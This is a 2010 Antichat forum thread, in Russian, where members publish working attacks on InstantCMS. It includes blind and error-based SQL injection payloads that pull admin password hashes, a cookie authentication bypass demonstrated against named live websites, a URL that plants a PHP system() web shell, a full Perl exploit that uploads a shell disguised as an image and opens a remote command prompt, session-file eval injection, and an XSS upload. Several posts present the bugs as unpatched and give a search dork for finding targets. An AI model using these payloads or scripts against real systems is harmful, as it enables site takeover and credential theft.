Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

05.04.2010, 17:36
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Blind Sql inj v.1.5.3
index.php
PHP код:
...
$inCore->onlineStats(); //обновляем статистику посещений сайта
...
/core/classes/db.class.php
PHP код:
...
public function query($sql){
$inConf = cmsConfig::getInstance();
$sql = $this->replacePrefix($sql);
$result = mysql_query($sql, $this->db_link);
if ($inConf->debug){
$this->q_count += 1;
$this->q_dump .= '<pre>'.$sql.'</pre><hr/>';
}
if (mysql_error() && $inConf->debug){
die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
}
return $result;
}...
/core/cms.php
PHP код:
...
//собираем информацию о текущем пользователе
$sess_id = session_id();
$ip = $_SERVER['REMOTE_ADDR'];
$useragent = $_SERVER['HTTP_USER_AGENT'];
$page = $_SERVER['REQUEST_URI'];
$refer = @$_SERVER['HTTP_REFERER'];
...
PHP код:
...
if (@$_CFG['stats']){ //если включен сбор статистики на сайте
//смотрим, есть ли запись про текущего пользователя
$sql = "SELECT id FROM cms_stats WHERE (ip = '$ip' AND page = '$page')";
$result = $inDB->query($sql) ;
//если записи нет - добавляем
if (!$inDB->num_rows($result)){
$sql = "INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('$ip', NOW(), '$page', '$useragent', '$refer')";
$inDB->query($sql) ;
}
}...
@$_CFG['stats'] - перемененная по умолчанию выключена, но если админ собирает статистику, то нам очень повезло! Можна крутить как blind SQL ing ):
Надо :
/includes/config.inc.php
PHP код:
...$_CFG['stats'] = '1';...
Если включена еще $_CFG['debug']=1, то нам повезло вдвойне!Можна крутить как blind SQl ing через ошибку!
В даном случае будет такое вот сообщение:
DATABASE ERROR:
INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('127.0.0.1', NOW(), '/content/21/stati', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9', 'http://instant/'')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''http://instant/'')' at line 1
Условия:
- включена переменная сбора статистики (лучше когда еще и отладки!);
- бегать по разным страницам || с разных ИП;
- mg=off.
Jokester : Где эксплуатация?
Последний раз редактировалось Strilo4ka; 05.04.2010 в 19:15..
|
|
|

05.04.2010, 19:13
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Вот она:
в User_Agent:
hack', (select * from (select name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1),name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1))x))/*
DATABASE ERROR:
INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('127.0.0.1', NOW(), '/faq/13', 'hack', (select * from (select name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1),name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1))x))/*', 'http://instant/search/25')
Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
С бинарным поиском надо писать ескплоит разве что!
Последний раз редактировалось Strilo4ka; 05.04.2010 в 19:15..
|
|
|

24.04.2010, 07:29
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
123
Релиз версии 1.6
22 апреля 2010
blind SQL inj & обход авторизации
Предыдущая тоже.
core/classes/user.class.php
PHP код:
...public function autoLogin(){
$inDB = cmsDatabase::getInstance();
$inCore = cmsCore::getInstance();
if ($inCore->getCookie('userid') && !$this->id){
$cookie_code = $inCore->getCookie('userid');
$sql = "SELECT * FROM cms_users WHERE md5(CONCAT(id, password)) = '$cookie_code' AND is_deleted=0 AND is_locked=0";
$res = $inDB->query($sql);
if($inDB->num_rows($res)==1){
$userrow = $inDB->fetch_assoc($res);
session_register('user');
$_SESSION['user'] = self::createUser($userrow);
cmsCore::callEvent('USER_LOGIN', $_SESSION['user']);
$inDB->query("UPDATE cms_users SET logdate = NOW() WHERE id = ".$_SESSION['user']['id']);
$this->resetStatTimer();
} else {
$inCore->unsetCookie('user_id');
}
}
return true;
}...
core/cms.php
PHP код:
...public function getCookie($name){
if (isset($_COOKIE['InstantCMS'][$name])){
return $_COOKIE['InstantCMS'][$name];
} else {
return false;
}
}...
core/classes/db.class.php
PHP код:
.../////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public function query($sql, $ignore_errors=false){
$inConf = cmsConfig::getInstance();
$sql = $this->replacePrefix($sql);
$result = mysql_query($sql, $this->db_link);
if ($inConf->debug){
$this->q_count += 1;
$this->q_dump .= '<pre>'.$sql.'</pre><hr/>';
}
if (mysql_error() && $inConf->debug && !$ignore_errors){
die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
}
return $result;
}...
Как видно здесь блинд & обход авторизации (можно так сказать).
Устанавливаем в куки ; InstantCMS[userid]=antichat' or group_id=2/*
group_id=2 - група админов поидеи!
В детали не уходил, ну у меня в таблице в админа 2 .
Появляються линки в панели, доступные для админа и можно смело заходить, тока не сразу, сессионные куки тока установляться. Заходим на любой линк ):.
Вот так будет точнее, потому что надо чтоб запрос вернул одну запись.
В одной групе может быть много админов, и кука выше толку не даст!:
; InstantCMS[userid]=antichat' or 1=1 limit 0,1/*
Если попался не админ, то крутим limit.
Мы админ, мои приветствия!
Блинд можно бистрее крутить через ошибку если cms крутиться в режиме отладки.
Выше в посте о блинде в предыдущей версии было названа переменная, которая отвечает и где находиться.
target: index.php (та й в принцыпе любая!)
Дорк: InstantCMS
Условие: mg=off
пример ис жызни:
http://instant-cms.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
http://lig.com.ua/
в режиме отладки.
; InstantCMS[userid]=12345' or 1=1 limit 0,1#
http://bboldino.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
http://www.combatshop.biz
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
в режиме отладки!
http://expo.sec4all.info
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
Баги не пофиксены.
Code Execution + LFI(Win) и Blind SQL inj описаны в постах выше.
Result:
http://www.instant/admin/index.php?url=Location:+index.php&f=css/1.php&cod=%3C?+system($_GET[cmd]);+?%3E&view=;file_put_contents($_GET[f],$_GET[cod]);header($_GET[url]);rand
http://www.instant/admin/css/1.php?cmd=dir
Можна еще урл-кодировать чтоб непаливно было! Не забываем что file_put_contents - PHP 5.
Имеем при mg=on!
Можна поиграться с каталогом proc или с протоколом дата (php>=5.2.0 і allow_url_include=on)!
На сколько фантазии хватит на стока и пыхаем код1
С блинд анолочино поста выше.
Главное - заманить авторизованого админа!
Последний раз редактировалось Strilo4ka; 24.04.2010 в 10:59..
|
|
|

06.05.2010, 03:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
InstantCMS <=== 1.5.3 LFI
Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана
PHP код:
................
if (isset($_REQUEST['do'])){ $do = $_REQUEST['do']; } else { $do = 'rss'; }
if (isset($_REQUEST['target'])){ $target = $_REQUEST['target']; } else { die(); }
if (isset($_REQUEST['item_id'])) { $item_id = $_REQUEST['item_id']; } else { die(); }
if (!isset($cfg['addsite'])) { $cfg['addsite'] = 1; }
if (!isset($cfg['icon_on'])) { $cfg['icon_on'] = 0; }
if (!isset($cfg['maxitems'])) { $cfg['maxitems'] = 50; }
////////////////////// RSS /////////////////////////////////////////////////////////////////////////////////////////////////
if ($do=='rss'){
$rss = '';
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
.............
Need: MQ=OFF
Как юзать:
передаем item_id, чтобы не вызвать die и evil file через target.
далее можно залить "картинку" в профиле и сделать инклуд.
http://localhost/components/rssfeed/frontend.php?item_id=1&target=evilfile%00
Для удобства написал сплоент дающий выполнение системных команд через LFI.
Работает безотказанно =)
CODE EXECUTION
Код:
#!/usr/bin/perl
######################
# Подключим библиотеки
######################
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use HTTP::Request::Common;
use Time::HiRes qw(sleep);
#####################
# Зададим параметры
#####################
getopt("d:h:u:p");
if (!$opt_h) {
&logo();
exit();
}
if (!$opt_d) {
&logo();
exit();
}
if (!$opt_u) {
&logo();
exit();
}
if (!$opt_p) {
&logo();
exit();
}
$host=$opt_h;
$dir=$opt_d;
$user=$opt_u;
$password=$opt_p;
$page2="index.php";
$page1="core/auth.php";
$page11="login";
$ereg = '<cmd>(.*?)<\/cmd>';
$cmd="echo matrix";
$fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>';
$exit="exit";
######################
# Лицо
#####################
#
sub logo()
{
print
"\t\t
###########################################################################
############ INSTANT CMS <=== 1.5.3 remote code execution #
############ coddddeeddd by The matrix (antichat.ru) #
###########################################################################
# usage: exploit.pl #
#-h [host] #
# -d[path with site] #
# -u [login] #
# -p [password] #
# exploit.pl -h http://site -d / -u evil -p qwer #
# !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF #
# #
# #
###########################################################################\n\n";
}
#############################
# аутификация
#############################
sub auth() {
print"[~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='ok';
$answer=$client->post(
"http://".$host.$dir.$page1,
[
'login' => $user,
'pass' => $password,
'Submit'=> $op
]
);
}
sub auth2() {
print"[~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='ok';
$answer=$client->post(
"http://".$host.$dir.$page11,
[
'login' => $user,
'pass' => $password,
'Submit'=> $op
]
);
}
#############################
# тест печенюшек
#############################
#
sub test() {
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /logout/){
print"[+]login complete";
}
else{
print "\n[-]login failed...Ok...Time for plan B...";
$debug=1;
}
}
sub test2() {
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /logout/){
print"[+]login complete";
}
else{
print "\n[-]login failed. check you account";
exit();
}
}
#######################
# Get id
#######################
sub id {
print "\n[~] Getting id";
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /users\/0\/(.*?)\/profile.html/) {
$id=$1;
print "\n[+] Yes, id = $id";
$page3="users/0/".$id."/addphoto.html";
}
else {
print "\nfailed get id";
exit()
}
}
#######################
# Upl0ad fucking shell
#######################
sub main {
print "\n[~]Uploading...";
$response = $client->request(POST "http://".$host.$dir.$page3,
Content_Type => 'multipart/form-data',
Content =>
[
upload => 1,
userid => $id,
picture =>
[
undef,
"123.jpg",
content => $fucking_shell,
"Content-Type" => "image/gif"
]
]);
$ans = $response->content;
open(F1,"> one.txt");
print (F1 "$ans");
print "\n[~]Get some fucking image hash";
if ($ans =~ /name="imageurl" value="(.*?)"/) {
print "\n[+]image hash = $1";
$hash=$1;
}
}
########################
# CODE EXECUTION Test!
########################
sub exec {
$page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00";
print "\n[~] Testing code execution";
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[
cmd => $cmd
]
);
$ans = $response->content;
if ($ans =~ /matrix/) {
$expl0it3d=1;
print "\n[+] Target has been Exp0it3d!!!!!!!!";
}
else
{
print "\n[-]sorry magic_quotes=on or cms unvulnerable";
}
}
&logo();
&auth();
&test();
if ($debug==1) {
&auth2();
&test2();
}
&id();
&main();
&exec();
########################
#Счастье
########################
if($expl0it3d == 1) {
while($cmd !~ /^exit$/i) {
print "\ncmd-line\#:";
$cmd=<STDIN>;
chomp $cmd;
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[
cmd => $cmd
]
);
$ans = $response->content;
if ($ans =~/$ereg/si) {
print "$1";
}
else {
print "what the fuck????";
}
}
}
Последний раз редактировалось The matrix; 06.05.2010 в 19:43..
|
|
|

07.05.2010, 22:02
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
2Strilo4ka
Сообщение от Strilo4ka
- включена переменная сбора статистики (лучше когда еще и отладки!);
- бегать по разным страницам || с разных ИП;
- mg=off.
MQ слеширует в GPC. А $_SERVER['HTTP_USER_AGENT'] тронут не будет. Так что эта бага не такая уж и бесполезная, как кажется на первый взягляд=)
|
|
|

07.05.2010, 22:07
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Сообщение от The matrix
2Strilo4ka
MQ слеширует в GPC. А $_SERVER['HTTP_USER_AGENT'] тронут не будет. Так что эта бага не такая уж и бесполезная, как кажется на первый взягляд=)
Это понятно... Очепятка была что в условии написал.
|
|
|

08.05.2010, 04:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Еще раз возвращаемся к єтой CMS.
Cмотрим админку в самой последней версии.
/admin/includes/cp.php
PHP код:
function cpProceedBody(){
ob_start();
$link = str_replace('/', '', $GLOBALS['applet']);
$link = str_replace(':', '', $link);
$link = str_replace('-', '', $link);
$file = $link . '.php';
include('applets/'.$file);
eval('applet_'.$link.'();');
$GLOBALS['cp_page_body'] = ob_get_clean();
}
Как видно, баг не пофиксен.
Искал уязвимости, но увилел запись в сесcию и неоставил без внимания.
/components/price/cart.php
PHP код:
define("VALID_CMS", 1);
session_start();
include('../../includes/config.inc.php'); //configuration
include('../../includes/database.inc.php'); //database connection
include('../../core/cms.php'); //CMS engine
if (isset($_REQUEST['addtocart'])){
if(!isset($_SESSION['cart'])) { session_register('cart'); $_SESSION['cart'] = array(); }
foreach($_REQUEST as $key=>$value){
if (strpos($key, 'item')===0){
if(isset($_SESSION['cart'][$value])){
$_SESSION['cart'][$value] += $_REQUEST['kolvo'][$value];
} else {
$_SESSION['cart'][$value] = $_REQUEST['kolvo'][$value];
}
}
}
header('location:/price/cart.html');
}
if (isset($_REQUEST['clearcart'])){
$_SESSION['cart'] = '';
session_unregister('cart');
header('location:/price/cart.html');
}
Результат:
Пишем в сесию выполнение eval.
PHPSESSID=c44e2475683109ef2da34559883edc2f
_http://[host]/[path]/components/price/cart.php?addtocart&item=e&kolvo[e]=<? $handle = fopen('b.php', 'w');fwrite($handle, '<? eval(stripslashes($_REQUEST[f])); ?>');fclose($handle); ?>
После CSRF в админке
Win
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=Z:\tmp\sess_c44e2475683109ef2da34559883ed c2f
Диск на винде можно, например, с константы __FILE__ выдрать.
Unix
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=/tmp/sess_c44e2475683109ef2da34559883edc2f
Имеем выполнение кода для нас
_http://[host]/[path]/admin/b.php?f=phpinfo();
плюс - не надо задевать другие ресурсы, тоесть вся информация крутиться на целевом сервере!
Можно заюзать LFI The matrix. Посмотрел в 1.5.2 файл cart.php - такой же ):
Последний раз редактировалось Strilo4ka; 08.05.2010 в 05:25..
|
|
|

08.05.2010, 22:49
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
0day
минуточку внимания.
Instant cms.
Множественные sql инъекции
Применимо:Для всех версии(на сегодня последняя 1.6).
Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой не требуется ни RG=ON не MQ=off!!!
Постараюсь рассказать процесс и его суть в точности как он проходил у меня
идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=1&opt=plus&target=content&item_id=20
POST'ом перекинули значения на /core/ajax/karma.php
вот са фак:
Сорри. Забегу вперед. С этими переменными мы будем иметь дело, код говорит нам о ненужности RG.
/core/ajax/karma.php
PHP код:
if (!isset($_REQUEST['target'])) { die(2); } else { $target = $_REQUEST['target']; }
if (!isset($_REQUEST['item_id'])) { die(3); } else { $item_id = $_REQUEST['item_id']; }
if (!isset($_REQUEST['opt'])) { die(4); } else { $opt = $_REQUEST['opt']; }
теперь функции
PHP код:
if (!$inUser->update()) { $inCore->halt(); }
................................
$inCore->loadLib('karma');
if ($opt=='plus'){
cmsSubmitKarma($target, $item_id, 10);
}
if ($opt=='minus'){
cmsSubmitKarma($target, $item_id, -1);
}
$postkarma = cmsKarma($target, $item_id);
...........................
Роем скрипты и смотрим где объявляются функции loadLib() и cmsKarma(); // найти мне помогла тузла от raz0r'a.
/core/cms.php
PHP код:
public function loadLib($lib){
$libfile = PATH.'/core/lib_'.$lib.'.php';
if (file_exists($libfile)){
include_once($libfile);
return true;
}
понятно. Значит
$inCore->loadLib('karma');
подгрузит нам:
/core/lib_karma.php
Значит что тут.
/core/lib_karma.php
PHP код:
function cmsKarma($target, $item_id){ //returns array with total votes and total points of karma
$inDB = cmsDatabase::getInstance();
$sql = "SELECT *, SUM(points) as points, COUNT(id) as votes
FROM cms_ratings
WHERE item_id = $item_id AND target='$target'
GROUP BY item_id";
$result = $inDB->query($sql);
if ($inDB->num_rows($result)){
$data = $inDB->fetch_assoc($result);
$data['points'] = round($data['points'], 2);
} else {
$data['points'] = 0;
$data['votes'] = 0;
}
return $data;
}
Вот и запрос. Судя по karma.php и lib_karma.php $item_id и $target не обрабатываются. Инэектить мы будем $item_id тк в запросе он не обрамлен кавычками, а значит мы обойдем MQ =)
Вернемся к нашему отснифаному пакету. И модифицируем его так:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=&opt=plus&target=conten
Это логическая единица.
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=&opt=plus&target=conten
Это логический 0.
По причине фильтра POST данных переопределяем item_id через куки.
Как и для прошлой уязвимости. Для удобства написал эксплойт. Но пока я похраню его у себя, чуть позже выложу. В паблик пока не солью, пробиваемость сайтов с гугла высокая. Пишите сами или юзайте там где можно Duplicate column метод.
Большое послесловие. Как я и говорил sql инж очень много. Завязывается все вокруг $target и $item_id. Фкнкции из файла lib_karma.php используются много где не только в karma.php.
lib.karma.php
PHP код:
function cmsSubmitKarma($target, $item_id, $points){
$inUser = cmsUser::getInstance();
$inDB = cmsDatabase::getInstance();
$id = $inUser->id;
$ip = $_SERVER['REMOTE_ADDR'];
if(!cmsAlreadyKarmed($target, $item_id, $id)){
$sql = "INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())";
$inDB->query($sql);
}
return true;
}
вышеупомянутая SubmitKarma
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())
Можно было бы составить evil запрос и вывести значение прямо в points, после чего его можно было наблюдать на странице новости без всяких blind, но структура таблицы нам не позволяет этого сделать поле points имеет type int(11). Поэтому:
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
логический 0
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
Логическая единица.
Последний раз редактировалось The matrix; 08.05.2010 в 23:00..
|
|
|

10.05.2010, 00:08
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
sql inj "Админский зл0й баннер"
Уязвимы все версии.
Не такая полезная бага, чем те, которые я постил выше, она пригодится если уязвимости выше залатаны, и удалось попасть в админкую.
NEEED's =)
Права админа
MQ=off
Заходим. Админка=>Компоненты=>баннер ы.
Запрос добавления злых админских баннеров следующий:
Код:
INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '$title', '$link', $published)";
красненькая переменная, попадает в запрос без обработок.
смотрим тайп.
Field:link
Type:varchar(250)
этот столбец нам подходит. В него и будем писать злой запрос.
Заполняем форму, выбираем картинку только
Забиваем в название баннера следующую шляпу:
Код:
1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #
запрос примет вид
Код:
INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #', '$link', $published)";
все. Теперь заходим в список наших баннеров. Открываем наш зл0й баннер. и в поле
'ссылка баннера' наблюдаем подобную картину:
Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99
на этом все.
Последний раз редактировалось The matrix; 10.05.2010 в 00:23..
|
|
|

10.05.2010, 04:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
a XSS для разнообразия XSS .
у этой цмс к хсс прям какой-то иммунитет.
Но все же лазейка нашлась.
по сути.
Свежайшая xss. Заключается в "щедящей" обработке файлов залитых юзером.
Идем в Профиль=>Content=>Файлы. Видим, что можно лить всяко-разные файлы. Единственное интересное расширение, которое поддерживает эта заливалка-это .htm. Ну вот собственно мы и зальем htm файл с evil JS кодом. Который потом вежливо выполняется.
что есть:
[+] Сессия генерируется из login'a и password'a.
[+]Сессия очень живучая(пока вражеский админ не сделает logout).
[+]Файл на сервере выглядить безобидно. А значит Впарить ссылку на него не трудно.
[+] сессия постоянная см п1 . Значит использовать можно неоднократно.
[+] на момент написания уязвимы все версии движка.
[-] Как не крути а xss пассивная.
Последний раз редактировалось The matrix; 10.05.2010 в 04:56..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|